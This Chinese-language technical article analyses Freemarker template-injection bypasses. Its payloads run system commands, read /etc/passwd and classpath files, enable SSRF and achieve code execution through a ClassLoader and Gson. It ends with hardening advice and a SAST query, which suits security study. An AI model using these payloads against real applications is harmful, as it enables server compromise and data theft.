Freemarker模板注入 Bypass
字数 1496 2025-08-26 22:11:22
Freemarker模板注入绕过技术深度解析
前言
本文详细分析Freemarker服务端模板注入(SSTI)的绕过技术,特别是当系统配置了严格限制的ALLOWS_NOTHING_RESOLVER时的突破方法。通过实际渗透测试案例,展示如何利用?api内置函数和其他Java特性实现从受限环境到完全代码执行的完整攻击链。
一、Freemarker模板注入基础
1.1 常见注入方式
典型的Freemarker模板注入Payload:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}
1.2 模板类解析器限制
Freemarker通过TemplateClassResolver限制可实例化的类:
| 解析器类型 | 功能描述 |
|---|---|
UNRESTRICTED_RESOLVER |
允许解析任何类 |
SAFER_RESOLVER |
禁止解析ObjectConstructor、Execute和freemarker.template.utility.JythonRuntime |
ALLOWS_NOTHING_RESOLVER |
禁止解析任何类 |
当遇到ALLOWS_NOTHING_RESOLVER时,传统的?new方法将失效。
二、利用?api内置函数
2.1 ?api功能概述
?api是Freemarker的内置函数,允许访问底层Java API,默认关闭。通过Configurable.setAPIBuiltinEnabled(true)启用。
2.2 安全限制
Freemarker对?api有以下安全限制(通过unsafeMethods.properties定义):
- 禁止
Class.forName - 禁止
Class.getClassLoader - 禁止
Class.newInstance - 禁止
Constructor.newInstance - 禁止
Method.invoke
三、逐步绕过技术
3.1 访问类路径资源
利用Object.getClass和getResourceAsStream读取类路径文件:
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[
<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte},
</#list>
]
Python转换脚本:
match = re.search(r'FILE:(.*),\s*(\\n)*?]', response)
literal = match.group(1) + ']'
literal = literal.replace('\\n', '').strip()
b = ast.literal_eval(literal)
barray = bytearray(b)
with open('exfiltrated', 'w') as f:
f.write(barray)
3.2 读取系统任意文件
通过URI机制突破类路径限制:
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[
<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte},
</#list>
]
替换file://为http://或ftp://可实现SSRF。
3.3 获取ClassLoader
通过ProtectionDomain获取ClassLoader:
<#assign classLoader=object?api.class.protectionDomain.classLoader>
3.4 任意代码执行
结合Gson实例化任意类:
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}
四、防御建议
4.1 配置安全
- 禁用?api:保持
setAPIBuiltinEnabled(false)的默认设置 - 使用严格解析器:配置
ALLOWS_NOTHING_RESOLVER - 权限控制:限制模板编辑权限
4.2 代码审计
SAST查询示例(检查不安全的setAPIBuiltinEnabled调用):
CxList setApiBuiltIn = Find_Methods().FindByShortName("setAPIBuiltinEnabled");
CxList setApiBuiltInParams = All.GetParameters(setApiBuiltIn);
result = setApiBuiltIn.FindByParameters(setApiBuiltInParams.FindByShortName("true"));
4.3 其他建议
- 避免在源代码中存储敏感凭据
- 限制JVM中敏感数据的暴露
- 实施严格的输入验证
五、总结
本技术文档展示了在严格受限的Freemarker环境中实现SSTI的完整攻击链,从信息泄露到完全代码执行。关键突破点包括:
- 利用未被禁止的
Object.getClass方法 - 通过URI机制突破资源访问限制
- 利用
ProtectionDomain获取ClassLoader - 结合现有类实例(如Gson)绕过实例化限制
这些技术强调了安全配置的全面性和深度防御的重要性,即使是看似严格的安全措施也可能存在意想不到的绕过路径。